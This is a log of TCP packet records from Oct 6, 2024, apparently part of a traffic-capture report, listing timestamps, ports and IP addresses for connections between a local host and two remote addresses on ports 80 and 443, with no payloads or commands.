Oct 6, 2024 22:33:15.505243063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505249023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505268097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505295038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505307913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505321980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505332947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505337954 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505352974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505357981 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505367994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505368948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505395889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505395889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505413055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505429029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505464077 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505467892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505480051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505503893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505518913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505525112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505539894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505556107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505565882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505572081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505598068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505609035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505621910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505635977 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505640984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505651951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505651951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505670071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.505673885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505690098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.505707026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506098032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506122112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506139040 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506156921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506160975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506184101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506189108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506210089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506215096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506218910 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506242037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506249905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506272078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506278038 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506289005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506303072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506306887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506319046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506321907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506335020 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506336927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506355047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506360054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506375074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506386042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506393909 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506421089 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506422043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506437063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506458998 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506464005 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506477118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506489038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506500959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506505966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506520987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506525993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506536961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506556034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506558895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506571054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506586075 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506593943 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506603003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.506618023 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506628036 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506644011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.506876945 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.507009029 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.510411024 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.510453939 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.510469913 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.510482073 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.510488987 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.513005972 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.513031960 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.513659954 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.513788939 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.513808966 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.566524029 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.566565990 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.566644907 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.566852093 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.566869974 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.566880941 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.566886902 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.569581032 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.569613934 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.569719076 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.569864988 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.569880009 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.588363886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588381052 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588396072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588419914 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588435888 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588452101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588455915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588469028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588483095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588493109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588495970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588514090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588517904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588537931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588546991 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588563919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588578939 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588593006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588609934 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588618040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588625908 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588643074 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588654041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588673115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588685036 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588701010 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588715076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588741064 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588758945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588769913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588785887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588800907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588816881 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588824034 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588834047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.588841915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588865042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.588876009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589025021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589040995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589056015 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589077950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589093924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589185953 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589201927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589215994 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589231968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589238882 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589247942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589257956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589263916 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589276075 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589286089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589306116 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589313984 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589349031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589405060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589421034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589435101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589443922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589452028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589456081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589468956 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589478970 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589488983 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589534044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589570999 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589704037 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589721918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589745998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589755058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589761972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589776993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589776993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589778900 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589795113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589803934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589809895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589818001 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589827061 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589833975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589843035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589843035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589859962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589864016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589874983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589884043 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589891911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589893103 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589907885 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589910984 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589924097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589931965 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589941025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589948893 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589956999 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589960098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589972019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.589973927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.589987040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590006113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590328932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590344906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590358973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590368032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590374947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590378046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590392113 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590394020 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590405941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590408087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590425014 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590425968 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590436935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590441942 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590459108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590476990 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590697050 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590712070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590727091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590734959 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590743065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590744972 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590759993 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590761900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590775967 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590783119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590791941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590792894 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590809107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590810061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590823889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590825081 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590841055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590842009 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590857983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590859890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590871096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590873003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590889931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590890884 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590905905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590907097 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590924025 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590925932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590939045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.590940952 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.590960026 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591196060 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591212034 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591226101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591227055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591234922 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591244936 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591252089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591262102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591270924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591278076 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591291904 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591295004 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591300011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591315031 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591319084 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591329098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591351032 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591589928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591605902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591619968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591629982 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591634035 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591639996 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591650963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591658115 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591666937 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591676950 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591691971 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591706038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591715097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591722012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591732979 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591737986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591749907 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591753960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591759920 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591772079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591778994 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591788054 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591813087 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591829062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591831923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591844082 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591856956 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591861963 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591866016 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591878891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591878891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591895103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591908932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591914892 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591924906 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591933966 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591942072 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591953993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591958046 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591964960 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591974974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.591975927 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591986895 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.591990948 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.592008114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.592009068 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.592029095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.592046022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.674576044 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674592018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674606085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674679041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.674679995 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674698114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674706936 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.674715042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674741030 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.674772024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.674798012 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.674910069 CEST	80	49741	141.98.233.156	192.168.2.4
